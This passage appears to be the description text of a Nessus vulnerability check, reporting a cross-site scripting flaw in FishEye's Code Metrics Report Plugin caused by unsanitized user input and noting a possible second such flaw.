cross-site scripting vulnerability. The Code Metrics Report Plugin
does not properly sanitize user input.

A remote attacker could exploit this by tricking a user into making a
maliciously crafted request, resulting in the execution of arbitrary
script code.

This version of FishEye may have an additional cross-site scripting
vulnerability, though Nessus did not check for that issue.");
